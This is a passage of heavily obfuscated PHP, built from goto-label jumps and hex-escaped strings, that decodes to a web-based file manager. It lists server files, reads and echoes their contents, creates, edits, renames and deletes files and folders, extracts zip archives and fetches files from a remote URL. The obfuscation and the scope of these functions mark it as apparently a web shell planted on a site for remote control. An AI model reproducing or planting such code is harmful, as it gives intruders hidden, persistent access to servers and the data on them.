"\x46\x69\x6c\x65\40\x63\162\x65\x61\164\x65\x64\x20\x73\165\x63\143\145\x73\x73\x66\165\x6c\154\x79\x2e"; goto aK3Vo; dRHGU: goto T8Xvk; goto xNlQn; qfRoT: $MhPPM = filter_var($_POST["\162\145\155\157\164\145\x5f\165\162\154"], FILTER_VALIDATE_URL); goto S33WT; ohyY2: echo "\x22\x3e\xd\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x3c\x69\x6e\160\165\164\x20\164\171\x70\x65\75\42\150\151\144\144\145\x6e\42\x20\151\x64\x3d\42\x6f\162\x69\x67\151\156\141\x6c\111\x74\145\x6d\116\141\155\x65\42\40\x6e\x61\155\x65\75\42\157\x72\x69\147\151\x6e\141\x6c\137\x6e\141\x6d\x65\42\x3e\15\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\74\x69\156\x70\x75\x74\x20\x74\171\x70\145\75\42\164\145\170\164\42\x20\151\x64\x3d\42\x6e\x65\167\111\164\145\x6d\116\x61\155\x65\42\40\x6e\141\155\145\75\42\156\x65\x77\137\x6e\141\x6d\145\x22\x20\143\154\141\163\x73\x3d\42\167\x2d\x66\165\x6c\x6c\x20\x70\55\63\40\142\x6f\x72\144\x65\x72\x20\x72\157\165\x6e\x64\145\x64\55\x6c\147\x20\155\x62\55\x36\x20\146\x6f\x63\x75\x73\x3a\x6f\165\x74\x6c\151\x6e\145\55\156\x6f\156\145\40\146\157\143\165\x73\72\x72\151\x6e\x67\55\x32\x20\x66\x6f\x63\165\x73\x3a\x72\x69\x6e\x67\55\x76\151\166\x69\x64\55\x74\x65\141\x6c\x22\x20\x72\145\161\165\151\x72\x65\144\76\xd\12\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x3c\x64\x69\x76\40\x63\154\x61\163\x73\x3d\x22\x66\x6c\145\x78\x20\x6a\165\163\164\151\x66\x79\55\145\x6e\x64\40\x73\x70\x61\143\145\x2d\170\55\x33\x22\76\15\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\74\x62\165\164\x74\x6f\156\x20\x74\171\160\145\x3d\42\163\x75\142\x6d\151\x74\42\40\156\141\155\x65\x3d\42\x72\x65\x6e\141\155\145\137\151\x74\x65\x6d\x22\x20\143\154\x61\163\163\x3d\x22\142\x67\x2d\x67\x72\x65\x65\x6e\55\65\60\x30\40\164\145\x78\164\55\x77\x68\151\x74\145\x20\x70\x78\x2d\65\x20\160\171\55\62\40\162\x6f\165\156\144\145\144\x2d\154\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\162\145\x65\156\55\x36\60\x30\x20\x76\151\x76\151\144\x2d\164\162\141\x6e\x73\x69\x74\x69\157\156\x22\x3e\x53\x61\x76\x65\74\57\x62\x75\x74\x74\x6f\156\76\15\xa\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\74\x62\165\x74\164\x6f\x6e\x20\x74\171\x70\145\75\42\x62\165\164\164\x6f\x6e\x22\40\157\156\x63\154\x69\x63\153\x3d\x22\x63\x6c\157\x73\x65\104\x69\141\154\x6f\x67\50\x27\162\x65\x6e\x61\155\x65\x44\x69\x61\154\157\147\x27\51\42\x20\143\x6c\x61\x73\x73\75\x22\142\x67\x2d\147\x72\141\x79\55\x35\60\x30\40\164\x65\x78\164\55\167\x68\x69\x74\145\x20\x70\x78\x2d\x35\40\x70\171\55\62\x20\162\157\165\156\144\145\x64\55\x6c\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\x72\x61\171\55\66\x30\x30\x20\x76\x69\166\151\x64\x2d\x74\162\141\156\x73\x69\164\x69\x6f\x6e\42\76\x43\x61\x6e\143\x65\x6c\x3c\x2f\x62\165\164\x74\x6f\156\x3e\15\xa\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\74\x2f\x64\x69\166\x3e\xd\12\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\74\57\146\x6f\x72\x6d\76\xd\xa\40\x20\40\40\40\40\40\40\x3c\57\144\x69\166\x3e\15\xa\x20\x20\40\40\x3c\57\144\x69\x76\x3e\15\12\15\12\40\40\40\40\x3c\163\x63\x72\151\x70\x74\76\15\12\40\40\x20\x20\x20\x20\40\x20\x66\x75\156\x63\164\x69\157\x6e\40\145\144\151\x74\x49\x74\145\x6d\x28\x69\164\145\x6d\116\141\x6d\x65\51\x20\173\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x66\145\164\143\x68\x28\47\77\167\157\162\153\x73\160\x61\143\145\x3d"; goto kX0on; NHWkd: rwOYV: goto rbgYx; U2HJ2: $DKH4N = "\101\x72\x63\150\151\x76\145\x20\145\170\x74\162\x61\143\164\145\144\x20\163\x75\143\x63\x65\163\x73\x66\x75\154\154\x79\x2e"; goto ZgEir; QUnki: w2IvO: goto KsqrH; By17q: echo "\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x3c\164\162\x20\x63\x6c\x61\x73\x73\75\42\142\x6f\162\x64\x65\x72\55\164\40\150\157\x76\145\162\x3a\x62\147\x2d\x67\162\x61\171\x2d\65\x30\x20\x76\x69\x76\x69\x64\55\164\x72\141\x6e\163\151\164\151\x6f\156\x22\x3e\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\74\164\144\x20\143\x6c\x61\x73\x73\x3d\42\160\x2d\64\42\76\74\x69\x20\x63\x6c\141\163\x73\75\x22\x66\141\x73\x20\146\x61\x2d\146\157\154\144\x65\162\40\x6d\x72\x2d\x32\x20\164\x65\170\164\55\x76\151\166\151\144\55\164\x65\x61\154\x22\x3e\x3c\57\151\76\74\141\x20\x68\162\145\146\x3d\x22\77\167\x6f\x72\x6b\x73\160\141\143\145\75"; goto jWvjk; xNcuq: IJ3Hk: goto xjUUI; mjAZx: if (!(isset($_POST["\165\x6e\172\x69\160\x5f\x61\x72\143\150\151\166\145"]) && !empty($_POST["\141\x72\x63\x68\151\166\x65\x5f\156\141\x6d\x65"]))) { goto hViYW; } goto t1YDS; RjKFq: $HcnX3 = new ZipArchive(); goto Ss9oR; Qm7yr: goto u8vax; goto amQwH; OEbq_: echo "\40\40\40\40\40\40\40\x20\40\40\40\40\x3c\x2f\144\x69\x76\76\15\xa\x20\x20\40\40\x20\x20\40\x20"; goto ooNWl; Zbq2n: l6riZ: goto mwnF6; amQwH: lHkIz: goto Jhmnc; SMr58: goto OCuP1; goto O9Dx9; aadQB: dfEiu: goto hqgSy; A6W2h: $cFfUK = $_POST["\x69\x74\145\155\x5f\x63\x6f\x6e\x74\145\156\x74"] ?? ''; goto VPmED; dBSpP: foreach ($M1ewI as $nrpAw) { goto vXA8G; BnHJg: echo "\x3c\x2f\x74\144\x3e\15\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x3c\164\x64\x20\x63\x6c\141\x73\163\x3d\x22\x70\x2d\64\x22\x3e"; goto dxDdG; Apq9W: echo is_writable($UyGf4 . "\57" . $nrpAw) ? "\131\x65\163" : "\116\157"; goto ngkwV; ngkwV: echo "\x3c\57\164\x64\76\xd\12\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x3c\x74\x64\x20\x63\154\x61\163\163\x3d\42\160\x2d\64\42\x3e"; goto pzibv; FhhLo: echo htmlspecialchars($nrpAw); goto Kpvzc; aawrO: echo htmlspecialchars($_SESSION["\143\163\x72\x66\x5f\164\157\x6b\x65\156"]); goto iYtRr; YEaRU: echo htmlspecialchars($nrpAw); goto qpIYE; x317W: lLaMK: goto lk3iK; dxDdG: echo aVbxS(filesize($UyGf4 . "\57" . $nrpAw)); goto b9MrC; vXA8G: echo "\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x74\162\x20\x63\154\x61\163\163\75\x22\x62\x6f\x72\x64\x65\x72\x2d\164\40\150\157\x76\145\x72\x3a\142\147\55\147\162\x61\171\x2d\65\60\x20\x76\x69\166\x69\x64\55\164\162\141\156\x73\151\164\x69\157\x6e\x22\x3e\xd\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\74\164\144\40\x63\x6c\x61\163\x73\75\42\x70\55\64\x22\x3e\74\x69\x20\x63\154\141\163\x73\75\x22\146\x61\x73\x20\146\141\55\146\151\154\x65\x20\155\162\55\62\x20\x74\145\170\x74\x2d\x76\151\166\151\144\x2d\x74\x65\x61\x6c\x22\x3e\74\x2f\151\76"; goto YEaRU; ODkP_: echo "\x3c\x2f\164\x64\76\xd\xa\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\164\144\x20\x63\154\x61\163\x73\x3d\x22\x70\55\x34\x20\x73\160\x61\x63\145\x2d\170\55\x33\42\76\15\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x3c\142\165\x74\164\157\156\x20\157\x6e\x63\x6c\x69\x63\153\75\x22\x65\144\151\x74\111\164\145\155\50\x27"; goto j55Ka; Kpvzc: echo "\42\x3e\15\12\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\74\142\x75\164\x74\x6f\x6e\40\164\171\x70\145\x3d\x22\163\x75\x62\x6d\x69\164\x22\x20\x6e\x61\155\x65\75\x22\x75\156\172\151\x70\137\141\x72\143\150\151\166\x65\42\x20\143\x6c\x61\163\x73\x3d\42\142\147\55\147\162\x65\x65\156\x2d\x35\60\60\40\x74\145\x78\x74\55\x77\150\151\164\145\40\160\x78\x2d\63\x20\x70\x79\x2d\61\x20\x72\x6f\165\x6e\x64\145\x64\55\154\x67\x20\x68\x6f\166\145\x72\x3a\x62\147\x2d\147\x72\x65\x65\156\x2d\x36\60\x30\40\166\151\166\x69\144\x2d\x74\x72\x61\x6e\x73\151\x74\151\157\156\x22\76\74\x69\40\143\x6c\x61\x73\x73\75\42\146\141\163\40\146\141\55\146\151\x6c\145\x2d\x61\162\143\x68\x69\x76\145\x20\155\162\55\61\x22\76\x3c\x2f\151\x3e\125\156\x7a\x69\160\74\x2f\x62\165\164\164\157\x6e\x3e\xd\xa\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\74\57\x66\157\162\x6d\76\15\xa\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40"; goto m9Id2; pzibv: echo date("\131\x2d\155\55\144\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $nrpAw)); goto ODkP_; qpIYE: echo "\74\57\x74\144\76\xd\xa\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x22\160\x2d\64\42\76"; goto YwE2M; j55Ka: echo htmlspecialchars($nrpAw); goto Ko27o; Yo0ak: echo "\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\74\x66\x6f\x72\155\x20\x6d\145\x74\x68\157\144\x3d\42\x70\x6f\x73\x74\x22\x20\143\x6c\x61\x73\x73\75\42\151\156\x6c\151\x6e\145\42\76\15\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\74\x69\156\x70\x75\x74\x20\164\171\160\x65\75\x22\x68\151\144\x64\x65\x6e\x22\40\156\141\155\145\x3d\x22\143\x73\x72\146\x5f\164\157\x6b\145\156\x22\x20\x76\x61\x6c\165\x65\75\42"; goto aawrO; IHFCo: echo "\x27\x29\42\40\x63\x6c\x61\163\163\x3d\x22\142\147\x2d\x72\145\x64\x2d\65\60\60\40\164\145\x78\164\55\167\x68\x69\x74\x65\x20\x70\170\55\x33\40\x70\x79\x2d\x31\40\x72\x6f\165\156\x64\x65\144\x2d\x6c\x67\x20\x68\157\x76\x65\x72\72\142\147\55\x72\x65\x64\55\66\x30\60\40\166\x69\x76\x69\144\55\x74\162\x61\x6e\x73\151\164\x69\x6f\156\42\76\104\145\154\145\x74\145\74\x2f\x62\165\x74\164\x6f\x6e\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40"; goto Xque1; ftooB: echo htmlspecialchars($nrpAw); goto IHFCo; iYtRr: echo "\42\x3e\15\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\74\x69\x6e\x70\x75\x74\x20\x74\x79\160\145\75\42\x68\151\144\x64\x65\x6e\x22\x20\x6e\x61\155\145\75\x22\x61\162\143\150\151\x76\x65\x5f\x6e\141\155\145\x22\40\x76\141\x6c\x75\x65\75\42"; goto FhhLo; b9MrC: echo "\x3c\x2f\x74\144\76\15\12\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x3c\x74\144\40\x63\154\x61\163\163\75\x22\160\x2d\x34\x22\76"; goto Apq9W; Ko27o: echo "\x27\x29\42\x20\x63\154\141\163\x73\x3d\x22\x62\x67\55\166\151\166\151\x64\55\x74\x65\x61\154\40\164\x65\x78\164\x2d\167\x68\151\x74\145\40\x70\x78\x2d\63\40\x70\171\55\61\40\162\x6f\x75\x6e\144\x65\x64\x2d\x6c\x67\x20\x68\157\166\x65\162\72\142\x67\55\166\151\x76\151\x64\x2d\x74\145\x61\x6c\55\144\141\162\153\x20\x76\151\166\151\x64\x2d\164\x72\x61\x6e\x73\151\164\151\x6f\x6e\x22\76\x45\x64\x69\164\x3c\57\142\x75\x74\164\x6f\156\x3e\xd\xa\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\x62\x75\164\164\157\156\40\157\156\143\154\x69\143\x6b\75\42\x6f\x70\145\x6e\x52\x65\156\141\x6d\x65\104\x69\x61\x6c\x6f\147\x28\x27"; goto bPYbi; bPYbi: echo htmlspecialchars($nrpAw); goto jjS6K; m9Id2: QRCZ1: goto E0oeA; E0oeA: echo "\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\74\x2f\164\x64\76\15\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\x3c\57\164\162\x3e\xd\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20"; goto x317W; jjS6K: echo "\x27\x29\x22\x20\x63\154\141\163\163\x3d\x22\x62\147\55\x79\x65\x6c\154\157\x77\55\x35\60\60\40\x74\x65\170\164\x2d\x77\150\151\164\145\40\160\170\55\x33\x20\x70\x79\55\x31\x20\x72\x6f\165\156\x64\x65\x64\55\x6c\x67\x20\150\x6f\166\x65\x72\72\142\x67\55\171\145\x6c\154\157\167\55\66\x30\x30\40\166\x69\x76\x69\x64\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\156\x22\76\122\x65\156\141\155\145\74\57\142\165\x74\164\x6f\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\74\x62\165\164\x74\157\x6e\40\x6f\156\143\x6c\151\x63\x6b\75\x22\x63\x6f\156\146\x69\162\x6d\x44\x65\x6c\x65\x74\145\50\47"; goto ftooB; YwE2M: echo strtoupper(pathinfo($nrpAw, PATHINFO_EXTENSION)); goto BnHJg; Xque1: if (!(pathinfo($nrpAw, PATHINFO_EXTENSION) === "\x7a\151\160")) { goto QRCZ1; } goto Yo0ak; lk3iK: } goto JT0AX; dkMA6: $cFfUK = $_POST["\151\164\x65\155\x5f\143\157\x6e\x74\145\156\x74"] ?? ''; goto S5SU9; SFaK1: $UyGf4 = $RN9dg; goto gYpZO; G3_fu: $DKH4N = "\106\157\154\144\145\162\40\141\154\162\145\141\x64\171\x20\x65\x78\151\163\x74\x73\x2e"; goto AM5Ni; rxnF1: exit; goto dRHGU; EMeQw: v_hRO: goto jC0wy; pIIY_: if ($f5xwD && is_file($f5xwD) && is_readable($f5xwD)) { goto KXaXc; } goto MWILr; JVO84: EWOGW: goto qu97e; QH0ar: goto dKdrD; goto aadQB; OZfTN: echo "\x22\x3e\15\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x3c\151\156\160\165\x74\40\164\171\x70\145\75\42\165\162\x6c\42\40\156\x61\x6d\145\75\x22\x72\x65\155\157\x74\x65\137\165\162\x6c\42\x20\143\x6c\141\x73\x73\75\42\x66\154\x65\170\x2d\61\40\x70\55\63\x20\142\x6f\x72\144\x65\162\x20\x72\x6f\x75\x6e\x64\145\x64\x2d\x6c\147\x20\146\x6f\143\x75\x73\72\157\165\164\154\x69\x6e\x65\x2d\156\x6f\x6e\145\x20\x66\157\x63\165\163\x3a\x72\x69\156\147\55\x32\x20\146\157\143\165\x73\x3a\x72\x69\156\147\x2d\166\x69\x76\x69\144\x2d\x74\x65\x61\x6c\x22\40\x70\x6c\x61\x63\x65\x68\157\154\144\145\162\75\42\150\164\x74\160\x73\x3a\x2f\57\x65\x78\141\x6d\160\x6c\x65\56\x63\x6f\x6d\57\151\x74\145\x6d\x2e\172\x69\160\x22\x20\162\145\161\165\151\x72\145\144\x3e\xd\12\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\74\142\165\x74\164\157\156\40\x74\171\160\x65\x3d\42\163\165\142\155\x69\164\x22\40\x6e\141\x6d\145\75\42\x66\145\x74\x63\150\x5f\x72\x65\155\157\164\145\x22\x20\143\154\141\x73\163\x3d\42\x62\x67\x2d\166\151\x76\x69\x64\x2d\x74\x65\x61\154\x20\x74\145\x78\164\x2d\x77\150\x69\164\145\40\x70\55\63\40\x72\x6f\x75\x6e\144\145\x64\55\x6c\x67\40\x68\157\x76\145\x72\x3a\x62\147\x2d\166\151\x76\x69\x64\55\164\x65\x61\x6c\x2d\144\x61\x72\x6b\x20\166\151\x76\x69\144\x2d\x74\x72\x61\156\163\x69\164\151\x6f\156\x22\x3e\x46\x65\x74\143\150\74\57\x62\x75\164\x74\157\156\76\xd\12\x20\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\74\x2f\146\157\162\155\76\15\xa\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\74\57\144\151\166\x3e\xd\xa\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20"; goto qYmxS; NC5Uv: t1Ohe: goto pQHOD; vNZlm: $DKH4N = "\105\162\162\157\x72\x20\144\145\154\145\164\x69\x6e\147\x20\x66\151\154\x65\56"; goto ScnGe; lT00_: $v7WxV = scandir($UyGf4); goto FdNTJ; P9s45: JKhRB: goto lxXy6; kP7Hi: UF6ry: goto F2e6r; GpF7q: goto Axvto; goto PqAGu; t1YDS: $gt3yP = zNO1R($_POST["\x61\162\x63\x68\151\x76\145\x5f\156\141\155\145"]); goto YwUqk; n2X9C: echo "\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x3c\x2f\164\x62\157\144\x79\76\15\12\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x3c\57\164\x61\x62\154\x65\x3e\xd\xa\40\40\x20\x20\x20\40\40\40\74\57\144\x69\166\x3e\15\12\x20\40\40\x20\x3c\57\144\151\166\76\15\12\xd\12\x20\x20\x20\40\74\41\x2d\x2d\x20\x45\144\151\164\x20\104\x69\x61\154\157\147\40\55\x2d\x3e\xd\12\40\40\40\x20\x3c\144\151\x76\x20\151\x64\x3d\x22\145\144\151\x74\104\151\141\154\157\147\x22\40\143\x6c\141\x73\163\x3d\42\146\x69\170\x65\x64\40\x69\x6e\x73\145\x74\55\60\x20\x62\147\55\x67\x72\x61\171\55\x36\x30\x30\x20\142\x67\55\x6f\x70\141\143\151\x74\x79\x2d\65\60\x20\150\x69\x64\x64\x65\156\40\x69\x74\x65\155\163\x2d\143\x65\156\164\x65\x72\40\x6a\165\x73\164\x69\146\x79\55\x63\x65\x6e\x74\145\162\40\166\x69\x76\151\x64\x2d\164\162\141\x6e\x73\x69\x74\x69\157\x6e\x22\76\15\12\40\40\x20\x20\40\40\40\x20\74\x64\151\x76\x20\143\154\x61\163\163\75\42\142\x67\55\x77\150\151\x74\145\x20\160\x2d\x38\x20\x72\x6f\165\156\x64\145\x64\x2d\x78\x6c\x20\163\x68\141\144\157\167\x2d\x78\154\x20\x77\x2d\146\165\x6c\154\x20\x6d\x61\x78\x2d\x77\x2d\x33\x78\154\x20\164\x72\x61\156\x73\146\157\x72\155\x20\163\143\x61\x6c\x65\55\71\65\x20\166\x69\166\151\144\55\x74\x72\141\x6e\163\151\x74\151\x6f\x6e\x22\76\xd\xa\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\74\150\62\x20\143\154\141\x73\x73\x3d\42\x74\145\x78\164\x2d\x32\170\154\x20\x66\x6f\x6e\x74\x2d\142\x6f\x6c\x64\40\155\142\55\x36\40\164\x65\x78\x74\55\166\151\x76\151\x64\x2d\x63\150\x61\x72\143\157\141\x6c\42\76\x45\144\x69\x74\40\111\x74\145\155\74\57\x68\62\76\15\12\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\x66\x6f\x72\155\40\x69\144\x3d\42\x65\144\151\164\106\x6f\x72\155\x22\x20\x6d\145\164\x68\157\x64\x3d\42\x70\157\163\x74\42\76\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\74\151\x6e\160\165\164\x20\164\171\160\145\75\42\150\x69\x64\x64\x65\x6e\42\x20\156\141\155\x65\x3d\42\143\163\x72\146\x5f\x74\x6f\x6b\x65\156\x22\40\166\141\x6c\x75\145\75\x22"; goto tWGjL; Y3LxI: goto GNvyD; goto rcgmR; bc2im: echo "\15\12\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x21\x2d\x2d\40\x46\157\x6c\144\145\162\163\40\x2d\55\x3e\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20"; goto lhRVK; ri6nJ: ohQxi: goto Um9B7; IB34C: if ($HcnX3->extractTo($UyGf4)) { goto vQXUH; } goto Ucrww; p7raR: $Cc3_N = $UyGf4 . "\57" . $BOKAQ; goto v4fkp; H6_Uh: vsu2I: goto SLPz3; Jr6hd: U9GL6: goto nAVlY; LPb1A: if (!(isset($_POST["\x61\144\x64\137\146\151\x6c\x65"]) && !empty($_POST["\151\164\x65\155\137\x6e\141\155\145"]))) { goto vsu2I; } goto AoQU8; atiNZ: echo "\40\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\x69\x76\40\143\x6c\x61\163\163\75\42\x62\147\55\x77\150\151\x74\145\40\x70\55\66\40\x72\x6f\x75\156\144\x65\144\x2d\170\x6c\40\163\x68\x61\x64\x6f\167\x2d\x78\x6c\x20\x76\151\166\151\x64\55\x68\157\x76\x65\162\x22\x3e\15\12\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\x3c\150\63\40\x63\154\141\x73\163\75\x22\x74\145\170\164\x2d\x78\154\40\146\157\156\x74\x2d\163\145\155\x69\142\x6f\x6c\144\40\155\142\x2d\x34\x20\164\x65\170\164\55\166\x69\166\x69\x64\x2d\x63\150\x61\x72\143\157\x61\154\42\x3e\106\145\164\143\150\x20\122\x65\x6d\x6f\x74\145\x20\x49\164\x65\155\x3c\x2f\x68\x33\x3e\15\12\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\74\146\157\162\155\40\155\145\x74\x68\x6f\144\x3d\x22\160\x6f\x73\x74\42\40\x63\x6c\141\x73\x73\x3d\42\146\154\145\x78\x20\x73\x70\x61\143\x65\x2d\170\55\x33\42\x3e\15\12\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\74\151\156\x70\x75\164\40\x74\x79\160\x65\75\42\150\151\x64\x64\x65\x6e\42\x20\156\141\155\145\75\42\x63\163\x72\x66\x5f\x74\157\x6b\x65\156\42\x20\166\141\x6c\x75\x65\75\x22"; goto V83w2; aW2gQ: IUKiV: goto MYnzS; lVPL0: echo file_get_contents($f5xwD); goto k9D3j; grGj9: if (file_exists($Cc3_N) && !file_exists($N1y8k)) { goto lHkIz; } goto D6OVg; lkCg9: if (file_exists($xAY2y) && is_writable($xAY2y)) { goto UF6ry; } goto b1K7t; SqQJd: $Vjqae = strtolower(pathinfo($GpDM3["\x6e\x61\x6d\145"], PATHINFO_EXTENSION)); goto woUVw; yjRLJ: $DKH4N = "\106\x61\151\154\145\144\40\x74\157\40\157\x70\145\x6e\40\x61\x72\x63\x68\151\166\x65\x2e"; goto FZOWP; x3ezo: $DKH4N = "\x46\x69\154\145\40\141\154\x72\x65\x61\x64\171\40\145\170\151\x73\164\x73\x2e"; goto m_Nxc; G4i7T: Cesxo: goto RjKFq; tWGjL: echo htmlspecialchars($_SESSION["\143\163\x72\x66\137\164\157\x6b\x65\x6e"]); goto efl0n; ScnGe: goto onpA9; goto vZeSO; X62I5: $l4vH0 = $UyGf4 . "\57" . $XSEgQ; goto Bdm1a; y3gSM: echo "\46\x6f\x70\x65\162\x61\x74\x69\157\x6e\x3d\162\145\x74\x72\151\x65\x76\x65\137\x66\x69\154\145\x5f\143\x6f\156\x74\145\x6e\x74\46\x69\x74\145\x6d\x3d\x27\40\x2b\x20\145\x6e\143\157\x64\x65\x55\122\x49\x43\157\155\x70\157\156\x65\156\x74\50\151\164\145\x6d\x4e\x61\155\x65\x29\51\xd\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\56\164\150\145\156\x28\x72\x65\x73\x70\x6f\156\x73\145\x20\x3d\x3e\40\x7b\xd\12\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\151\146\40\50\x21\162\x65\x73\160\x6f\x6e\x73\x65\56\x6f\153\51\x20\x74\x68\162\x6f\167\x20\156\145\167\x20\x45\162\162\157\x72\x28\x27\111\164\145\x6d\40\x6e\x6f\x74\x20\146\157\165\156\x64\47\x29\73\xd\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\162\145\x74\x75\x72\156\x20\162\x65\x73\160\x6f\156\163\145\56\x74\145\x78\164\x28\51\x3b\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\175\x29\15\xa\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x2e\x74\150\145\156\50\x63\157\156\164\x65\156\164\x20\x3d\76\x20\x7b\15\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\40\40\x64\x6f\143\165\155\145\156\x74\x2e\x67\x65\164\105\154\145\155\x65\156\164\x42\x79\111\144\x28\47\145\x64\x69\x74\111\x74\x65\155\116\x61\155\x65\47\x29\x2e\x76\141\x6c\165\145\40\x3d\40\x69\164\x65\155\x4e\x61\155\x65\73\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\144\157\x63\165\x6d\145\x6e\x74\56\147\x65\164\105\x6c\x65\x6d\145\x6e\164\x42\171\x49\x64\x28\47\x65\144\x69\164\111\x74\145\x6d\103\x6f\156\164\x65\x6e\x74\x27\x29\56\x76\141\x6c\x75\145\x20\75\x20\143\x6f\x6e\164\x65\156\164\x3b\xd\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\157\160\x65\156\104\151\141\154\157\x67\x28\x27\145\144\x69\x74\104\151\x61\x6c\x6f\147\47\x29\x3b\xd\xa\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\175\x29\xd\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\56\x63\x61\164\x63\150\50\x65\x72\x72\x6f\x72\40\x3d\76\40\x7b\15\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\141\154\x65\x7